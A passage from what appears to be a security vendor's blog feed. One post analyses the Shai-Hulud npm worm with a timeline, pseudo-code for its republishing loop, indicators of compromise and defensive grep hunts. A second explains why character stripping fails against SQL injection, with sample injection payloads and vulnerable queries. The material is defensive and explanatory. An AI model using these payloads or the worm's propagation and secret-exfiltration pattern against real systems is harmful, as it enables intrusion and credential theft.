&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Sep 14, 2025 18:35 UTC – First infected releases land on npm&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Compromised versions show a hidden &lt;code&gt;bundle.js&lt;/code&gt; executed through a postinstall hook.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Sep 14–15 – Suspicious installs raise alarms&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Developers notice odd behavior in &lt;code&gt;@ctrl/tinycolor&lt;/code&gt;. Daniel dos Santos Pereira flags the anomaly.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sep 16 AM – Exfiltration pattern becomes clear&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Secrets leak through:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A GitHub repo named &lt;em&gt;Shai-Hulud&lt;/em&gt; with a double-base64 &lt;code&gt;data.json&lt;/code&gt;.
&lt;/li&gt;
&lt;li&gt;A GitHub Actions workflow serializing &lt;code&gt;${{ toJSON(secrets) }}&lt;/code&gt; to a webhook.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Sep 16 PM – Propagation confirmed at registry scale&lt;/strong&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;
With stolen npm tokens, the worm republishes itself across all packages owned by compromised maintainers. Infection jumps from dozens to hundreds.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Sep 16–17 and ongoing – Widespread impact&lt;/strong&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;
Infected npm packages continue to appear. Organizations freeze updates, enforce lockfile-only installs, and rotate all tokens.&lt;/p&gt;&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;The early vector shows how fragile modern pipelines can be. A single stolen npm token or GitHub secret opened the door for the &lt;strong&gt;Shai-Hulud supply chain attack in npm packages&lt;/strong&gt;. Once inside, the worm scaled fast, turning one compromised maintainer into hundreds of infected projects. Therefore, the real risk is not only technical but also organizational: what happens in hours can ripple through CI/CD systems, developer laptops, and cloud accounts.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Executive Impact of the Shai-Hulud Supply Chain Attack
&lt;/h2&gt;

&lt;p&gt;Shai-Hulud is still active today. This worm speeds up the impact timeline. What once took weeks with a trojan now unfolds in hours. As a result, &lt;strong&gt;the spread is faster and harder to contain.&lt;/strong&gt; It advances by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Stealing npm publish tokens and GitHub secrets.
&lt;/li&gt;
&lt;li&gt;Republishing itself into other npm packages.
&lt;/li&gt;
&lt;li&gt;Adding malicious GitHub Actions workflows for persistence.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Who is affected:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Any team that installs public npm packages is exposed. Moreover, developers with cached npm or GitHub tokens face high risk. CI runners that use broad-scoped secrets are also vulnerable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Business risk:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The business impact grows quickly. Stolen tokens can lead to account takeover, package hijacking, and even cloud misuse. In addition, persistence in GitHub workflows makes it harder to clean. Therefore, &lt;strong&gt;teams must treat Shai-Hulud as an ongoing incident, not a closed one.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  3. How the Shai-Hulud Supply Chain Attack Works in npm Packages
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Attacker Objectives and Motive
&lt;/h3&gt;

&lt;p&gt;The campaign optimizes for three things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Steal credentials at scale&lt;/strong&gt; from developer laptops and CI runners (npm tokens, GitHub tokens, cloud creds).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Propagate automatically&lt;/strong&gt; by abusing the publishing rights of compromised maintainers.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Persist and exfiltrate reliably&lt;/strong&gt; through GitHub repos and workflows.
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Likely payoff: long-lived access to registries and code, fast lateral movement into cloud accounts, and further supply chain weaponization.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 Inside the Shai-Hulud Payload: &lt;code&gt;bundle.js&lt;/code&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Large Webpack-bundled and heavily minified JavaScript file (~3–3.7 MB).&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Executes from a &lt;strong&gt;postinstall hook&lt;/strong&gt; in &lt;code&gt;package.json&lt;/code&gt;.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Traits:&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Minified module graph with numeric IDs.
&lt;/li&gt;
&lt;li&gt;Base64 string hiding.
&lt;/li&gt;
&lt;li&gt;Dynamic eval-style dispatch.
&lt;/li&gt;
&lt;li&gt;OS filtering to prefer Linux/macOS.
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3.3 Install-Time Execution
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Discovery and harvesting&lt;/strong&gt;:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Dumps &lt;code&gt;process.env&lt;/code&gt;, scans for secrets, runs TruffleHog.
&lt;/li&gt;
&lt;li&gt;Queries cloud metadata endpoints (AWS: &lt;code&gt;169.254.169.254&lt;/code&gt;, GCP: &lt;code&gt;metadata.google.internal&lt;/code&gt;).
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Exfiltration&lt;/strong&gt;:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Creates public repo &lt;em&gt;Shai-Hulud&lt;/em&gt; with double-base64 &lt;code&gt;data.json&lt;/code&gt;.
&lt;/li&gt;
&lt;li&gt;Plants a GitHub Actions workflow serializing &lt;code&gt;${{ toJSON(secrets) }}&lt;/code&gt;.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Propagation&lt;/strong&gt;:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Injects &lt;code&gt;bundle.js&lt;/code&gt; + postinstall into packages owned by compromised maintainers, republishes malicious versions.
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Persistence and Exposure
&lt;/h3&gt;

&lt;p&gt;The worm keeps malicious workflows alive and, in several cases, flips private repos to public with a “-migration” suffix. Altogether, this ensures the attacker maintains a foothold and maximizes data leakage.&lt;/p&gt;

&lt;h3&gt;
  
  
  Key Detection Note
&lt;/h3&gt;

&lt;p&gt;This unusual use of &lt;code&gt;${{ toJSON(secrets) }}&lt;/code&gt; in Actions workflows is rare. Therefore, teams should treat it as a high-signal indicator during hunts.&lt;/p&gt;

&lt;h3&gt;
  
  
  Sanitized Workflow Pattern You Should Hunt For
&lt;/h3&gt;

&lt;p&gt;This unusual use of &lt;code&gt;toJSON(secrets)&lt;/code&gt; in Actions is a high-signal indicator in this incident.&lt;/p&gt;

&lt;h3&gt;
  
  
  High-Level Propagation Pseudo-Code (Safe, Descriptive)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;propagate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;pkgs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;npmApi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listPackages&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;pkgs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tgz&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;npmApi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fetchTarball&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;modified&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;injectBundleAndPostinstall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tgz&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// adds bundle.js + "postinstall"&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;npmApi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;publish&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;modified&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;            &lt;span class="c1"&gt;// publishes new malicious version&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Analysts observed this loop at scale, which explains the rapid jump from dozens to hundreds of infected packages.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.4 Why This Is a Worm in a Package Ecosystem
&lt;/h3&gt;

&lt;p&gt;A worm is malware that spreads on its own without requiring manual operator steps at every stage. In operating systems, worms usually exploit network vulnerabilities to move from one machine to another. In contrast, Shai-Hulud operates inside the npm registry. Its efficient path is through &lt;strong&gt;credential reuse&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The worm takes advantage of stolen npm publish tokens. As soon as it obtains valid credentials, it republishes infected versions under other packages owned by the same maintainer. Subsequently, those packages are installed by unsuspecting developers or CI runners, and the cycle repeats.&lt;/p&gt;

&lt;p&gt;For this reason, security analysts, including &lt;a href="https://www.darkreading.com/application-security/self-replicating-shai-hulud-worm-npm-packages" rel="noopener noreferrer"&gt;Dark Reading&lt;/a&gt;, classify Shai-Hulud as a &lt;strong&gt;self-replicating worm&lt;/strong&gt; rather than a simple trojan or a typosquatting incident. The difference is important: a trojan typically compromises one host, but a worm amplifies its impact automatically across an ecosystem.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.5 “How It Works” Cheat-Sheet
&lt;/h3&gt;

&lt;p&gt;To summarize Shai-Hulud’s lifecycle, here is a concise breakdown of its main steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A package with &lt;strong&gt;postinstall&lt;/strong&gt; is installed, and &lt;code&gt;bundle.js&lt;/code&gt; executes.
&lt;/li&gt;
&lt;li&gt;The payload dumps environment variables, scans files and git history, runs &lt;strong&gt;TruffleHog&lt;/strong&gt;, and queries cloud metadata services. Any secret found becomes immediately useful.
&lt;/li&gt;
&lt;li&gt;Exfiltration occurs in two ways:

&lt;ul&gt;
&lt;li&gt;By creating a public repo named &lt;strong&gt;Shai-Hulud&lt;/strong&gt; with a double base64-encoded &lt;code&gt;data.json&lt;/code&gt;.
&lt;/li&gt;
&lt;li&gt;By planting a GitHub Actions workflow that posts &lt;code&gt;${{ toJSON(secrets) }}&lt;/code&gt; to a webhook.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Using any stolen npm token, the worm republishes all other packages owned by the compromised maintainer with the same malicious hook.
&lt;/li&gt;
&lt;li&gt;Finally, the attacker holds more secrets, more packages to spread through, and &lt;strong&gt;persistence&lt;/strong&gt; inside GitHub accounts and repositories.
&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  4. How to Avoid This Class of Attack, Practically
&lt;/h2&gt;

&lt;p&gt;Shai-Hulud is a wake-up call. A worm that steals tokens and republishes itself is not a future risk—it is live in the &lt;strong&gt;npm packages ecosystem&lt;/strong&gt; today. To prevent this type of &lt;strong&gt;supply chain attack&lt;/strong&gt;, teams need controls that are programmable, automated, and enforced directly in CI/CD pipelines. These are the same defenses you can already implement with &lt;a href="https://xygeni.io/" rel="noopener noreferrer"&gt;Xygeni&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stop Bad Artifacts at the Gate
&lt;/h3&gt;

&lt;p&gt;Scan npm packages and tarballs before they reach developers or CI jobs. Oversized &lt;code&gt;bundle.js&lt;/code&gt; files, suspicious postinstall hooks, and obfuscation markers are early red flags. Enforcing cool-off periods and pinned versions in pipelines also prevents fresh, unvetted releases from being consumed automatically.&lt;/p&gt;

&lt;h3&gt;
  
  
  Harden CI/CD by Default
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://docs.xygeni.io/xygeni-scanner-cli/xygeni-cli-overview/guardrails" rel="noopener noreferrer"&gt;Guardrails&lt;/a&gt; in CI/CD are essential. They reject merges or installs that introduce new scripts or binaries. They also block workflows that serialize secrets or attempt external posts. Teams should require lockfile-only installs (&lt;code&gt;npm ci&lt;/code&gt;) across all pipelines so dependency sets remain reproducible and safe.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reduce the Token Blast Radius
&lt;/h3&gt;

&lt;p&gt;Secrets must not become single points of failure. Continuously scan code, configs, and pipeline output for &lt;a href="https://xygeni.io/secrets-security/" rel="noopener noreferrer"&gt;exposed credentials&lt;/a&gt;. Tokens should be scoped narrowly, given short lifetimes, and rotated automatically when exposure is detected. Treat any token used on a host that executed a suspicious postinstall as compromised.&lt;/p&gt;

&lt;h3&gt;
  
  
  See Worm Behavior Early
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://xygeni.io/anomaly-detection/" rel="noopener noreferrer"&gt;Anomaly detection&lt;/a&gt; is key. For example, sudden spikes in npm publish events, new workflows appearing without reason, or fresh public repos filled with strange encoded files can all signal worm activity. Teams should raise alerts quickly and isolate any maintainers or runners showing these signs.&lt;/p&gt;

&lt;h3&gt;
  
  
  Fix Quickly Without Breaking Builds
&lt;/h3&gt;

&lt;p&gt;Speed and safety must go together. Automated pull requests can replace compromised npm packages with vetted versions. In addition, &lt;a href="https://xygeni.io/blog/reachability-analysis-vulnerability-prioritization-like-a-pro/" rel="noopener noreferrer"&gt;reachability&lt;/a&gt; and &lt;a href="https://xygeni.io/blog/epss-score-vulnerability-management-a-new-standard/" rel="noopener noreferrer"&gt;exploitability&lt;/a&gt; analysis ensures upgrades stay minimal and stable. Finally, rebuild affected CI runners from clean images once exposure is confirmed.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Indicators of Compromise (IoCs)
&lt;/h2&gt;

&lt;p&gt;When analyzing Shai-Hulud, teams should watch for both &lt;strong&gt;static IoCs&lt;/strong&gt; in files and &lt;strong&gt;behavioral IoCs&lt;/strong&gt; in pipelines. Together, these signals help detect infections early and respond before the worm spreads further.&lt;/p&gt;

&lt;h3&gt;
  
  
  Static IoCs
&lt;/h3&gt;

&lt;p&gt;SHA-256 digests matching observed &lt;code&gt;bundle.js&lt;/code&gt; samples:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;81d2a004a1bca6ef87a1caf7d0e0b355ad1764238e40ff6d1b1cb77ad4f595c3&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dc67467a39b70d1cd4c1f7f7a459b35058163592f4a9e8fb4dffcbba98ef210c&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other patterns:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A &lt;code&gt;bundle.js&lt;/code&gt; at the package root.
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;"postinstall": "node bundle.js"&lt;/code&gt; inside &lt;code&gt;package.json&lt;/code&gt;.
&lt;/li&gt;
&lt;li&gt;Repositories named &lt;em&gt;Shai-Hulud&lt;/em&gt;.
&lt;/li&gt;
&lt;li&gt;GitHub workflows containing &lt;code&gt;${{ toJSON(secrets) }}&lt;/code&gt;.
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Behavioral IoCs
&lt;/h3&gt;

&lt;p&gt;Beyond file signatures, worm activity shows itself through behavior:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Sudden bursts of npm publish events from one maintainer.
&lt;/li&gt;
&lt;li&gt;New workflows that push data to external endpoints.
&lt;/li&gt;
&lt;li&gt;Outbound POST requests triggered from CI runners.
&lt;/li&gt;
&lt;li&gt;Recently created public repos with encoded blobs.
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Quick Hunts
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;bash
# Find postinstall in package.json
grep -R --line-number '"postinstall"' --include="package.json" /path/to/archives

# Detect tarballs with bundle.js
find /path/to/tarballs -name "*.tgz" -print0 \
 | xargs -0 -n1 -I{} sh -c 'tar -tf "{}" | grep bundle.js &amp;amp;&amp;amp; echo "== {}"'

# Search workflows for toJSON(secrets)
grep -R --line-number "toJSON(secrets)" --include="*.yml" .github || true
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  6. Conclusion: Lessons from Shai-Hulud
&lt;/h2&gt;

&lt;p&gt;The &lt;strong&gt;Shai-Hulud supply chain attack&lt;/strong&gt; in npm packages shows how fragile today’s software supply chain has become. This worm did more than add malicious code. It stole tokens, sent data out, and republished itself automatically. Because of this, the attack spread in hours instead of weeks.&lt;/p&gt;

&lt;h3&gt;
  
  
  Lessons for Developers and DevOps Teams:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Every install runs code.&lt;/strong&gt; Even a common npm package can hide a postinstall worm.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Every token has high value.&lt;/strong&gt; Once stolen, it can be used to spread malware further.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Every pipeline needs checks.&lt;/strong&gt; Without guardrails, one compromise can quickly hit production.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Stopping attacks like Shai-Hulud requires &lt;strong&gt;controls that are automatic and easy to enforce&lt;/strong&gt;. Teams should scan npm packages before installs, use lockfile builds, detect strange publishing activity, and keep tokens short-lived. These are now the foundation of resilience in modern pipelines.&lt;/p&gt;

&lt;p&gt;At &lt;strong&gt;Xygeni&lt;/strong&gt;, we see Shai-Hulud as a warning for the entire open source ecosystem. The sustainable way forward is to bring supply chain security &lt;strong&gt;directly into the development process&lt;/strong&gt;, at the point where code, npm packages, and pipelines connect.&lt;/p&gt;

&lt;p&gt;Analysts observed this loop at scale, which explains the rapid jump from dozens to hundreds of infected packages.&lt;/p&gt;

&lt;p&gt;For the full list of compromised packages, please visit the blog: &lt;a href="https://xygeni.io/blog/shai-hulud-the-npm-packages-worm-explained/" rel="noopener noreferrer"&gt;Shai-Hulud: The npm Packages Worm Explained&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>ai</category>
      <category>devops</category>
    </item>
    <item>
      <title>Why Stripchar Didn’t Block That Injection Attack</title>
      <dc:creator>Fátima Said</dc:creator>
      <pubDate>Mon, 25 Aug 2025 14:10:00 +0000</pubDate>
      <link>https://forem.com/xygenisecurity/why-stripchar-didnt-block-that-injection-attack-dpa</link>
      <guid>https://forem.com/xygenisecurity/why-stripchar-didnt-block-that-injection-attack-dpa</guid>
      <description>&lt;p&gt;If you use &lt;strong&gt;stripchar&lt;/strong&gt; to clean user input, you’re not alone. Many developers rely on this kind of &lt;strong&gt;input sanitization&lt;/strong&gt; to block injection attempts. At first glance, it seems logical: remove dangerous characters, and the payload disappears. However, this approach gives a false sense of security. Attackers can bypass simple filters like &lt;strong&gt;stripchar&lt;/strong&gt; using &lt;strong&gt;obfuscated payloads&lt;/strong&gt;, encodings, or clever context switching.  &lt;/p&gt;

&lt;p&gt;That’s why smart developers don’t stop there. Instead, they use &lt;strong&gt;parameterized queries&lt;/strong&gt;, which prevent injection attacks at the root.&lt;/p&gt;




&lt;p&gt;In this post, you’ll learn why &lt;strong&gt;stripchar&lt;/strong&gt; fails in real-world scenarios, how attackers abuse these filters, and what secure alternatives actually work. We’ll walk through code examples, show common bypass techniques, and explain how &lt;strong&gt;input sanitization&lt;/strong&gt; must always be paired with structural protections like &lt;strong&gt;parameterized queries&lt;/strong&gt;, or you’ll stay vulnerable.&lt;/p&gt;

&lt;h2&gt;
  
  
  What &lt;code&gt;stripchar&lt;/code&gt; Actually Does (and Doesn’t)
&lt;/h2&gt;

&lt;p&gt;Many developers use &lt;code&gt;stripchar&lt;/code&gt; or similar functions to remove unsafe characters from user input. Typically, it strips punctuation, special symbols, or anything not alphanumeric. At first, that sounds like &lt;strong&gt;input sanitization&lt;/strong&gt;, but it’s not real protection.&lt;/p&gt;

&lt;p&gt;Let’s break it down. A function like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function stripchar(input) {
  return input.replace(/[^\w\s]/gi, '');
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;removes characters like &lt;code&gt;'&lt;/code&gt;, &lt;code&gt;"&lt;/code&gt;, or &lt;code&gt;;&lt;/code&gt;.&lt;br&gt;&lt;br&gt;
So, if you enter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;'; DROP TABLE users; --
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It becomes:&lt;br&gt;
Even if user input looks clean, attackers can still inject SQL payloads using logic alone, especially when the application builds queries through string concatenation. &lt;a href="https://xygeni.io/blog/how-to-prevent-sql-injection/" rel="noopener noreferrer"&gt;&lt;strong&gt;To truly prevent SQL injection&lt;/strong&gt;&lt;/a&gt;, you must use parameterized queries and context-aware input handling. Character filters like &lt;code&gt;stripchar()&lt;/code&gt; simply aren't enough.&lt;/p&gt;

&lt;p&gt;Sure, stripped input may look safer at a glance. However, this approach doesn’t neutralize malicious logic — it only changes how it’s written. In fact, attackers often take advantage of this by encoding payloads, inserting whitespace, or using removed characters strategically to bypass your filter entirely.&lt;/p&gt;

&lt;p&gt;Besides, &lt;code&gt;stripchar&lt;/code&gt; lacks critical context. It doesn’t know whether input is headed for a database, a shell, or a browser. That means it can’t apply the right escaping or encoding. Sanitizing input without knowing the destination is like escaping HTML while the real threat is &lt;a href="https://www.sqli.com/int-en" rel="noopener noreferrer"&gt;SQLi&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In the end, &lt;code&gt;stripchar&lt;/code&gt; doesn’t interpret or secure anything, it just edits strings. And editing isn’t security. If you want real protection, use structured, validated, and parameterized queries. Full stop.&lt;/p&gt;

&lt;p&gt;To make the difference clearer, here’s how &lt;code&gt;stripchar&lt;/code&gt; compares side-by-side with parameterized queries:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp1q7n0l4g7a0r6euw6h6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp1q7n0l4g7a0r6euw6h6.png" alt=" " width="800" height="482"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  How Attackers Bypass Input Sanitization
&lt;/h2&gt;

&lt;p&gt;This is how a typical vulnerable flow looks when developers rely on &lt;code&gt;stripchar&lt;/code&gt; for input sanitization:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu9qgmuubavjdgd6xrvr0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu9qgmuubavjdgd6xrvr0.png" alt=" " width="800" height="199"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Attackers don’t need to break your filters, they just need to &lt;strong&gt;go around them&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
When developers rely on &lt;code&gt;stripchar&lt;/code&gt; for input sanitization, they often assume that removing characters like quotes or semicolons will block injection attempts. However, attackers adapt quickly. They craft &lt;strong&gt;obfuscated payloads&lt;/strong&gt; that slip through regex-based filters, especially when those filters lack context.&lt;/p&gt;

&lt;p&gt;For example, let’s say you try to sanitize input like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const input = stripchar(userInput);
// safe to use? maybe not.
db.query("SELECT * FROM users WHERE name = '" + input + "'");
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Even if the user can’t submit a classic ' OR 1=1 --, they can use Unicode tricks, string concatenation, or broken syntax that still runs. Payloads like this often work:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0x27206F7220313D31--  

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;'+UNION+SELECT+null,null,null--
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your function strips non-word characters, you may &lt;strong&gt;accidentally reconstruct a valid SQL command&lt;/strong&gt;. Worse, attackers can encode values in ways that pass your filter but get decoded by the target system.&lt;/p&gt;

&lt;p&gt;Besides SQL injection, &lt;code&gt;stripchar&lt;/code&gt; fails in other contexts too, like shell commands, file paths, or even JavaScript execution. Since it lacks any awareness of where the input will be used, it can’t apply proper escaping or validation.&lt;/p&gt;

&lt;p&gt;As a result, &lt;strong&gt;input sanitization&lt;/strong&gt; with &lt;code&gt;stripchar&lt;/code&gt; is easy to bypass. Real security comes from &lt;strong&gt;context-aware controls&lt;/strong&gt;, especially &lt;strong&gt;parameterized queries&lt;/strong&gt; that prevent logic injection entirely.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why You Should Use Parameterized Queries Instead
&lt;/h2&gt;

&lt;p&gt;If you want to stop injection attacks for real, you need to &lt;strong&gt;stop building queries with strings&lt;/strong&gt;. That’s where &lt;strong&gt;parameterized queries&lt;/strong&gt; come in. Unlike &lt;code&gt;stripchar&lt;/code&gt;, they don’t filter, they &lt;strong&gt;separate code from data&lt;/strong&gt; at the engine level.&lt;/p&gt;

&lt;p&gt;Let’s revisit the broken query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const input = stripchar(userInput);
const query = "SELECT * FROM users WHERE name = '" + input + "'";
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is dangerous because the input gets injected directly into SQL. Even with character stripping, you’re still building a string that could be misused. Instead, use a parameterized query like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const query = "SELECT * FROM users WHERE name = ?";
db.execute(query, [userInput]);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, the database driver knows that userInput is data, not executable code. It escapes it automatically and blocks injection, even if the input contains quotes, semicolons, or hex-encoded payloads.&lt;/p&gt;

&lt;p&gt;In Python:&lt;br&gt;
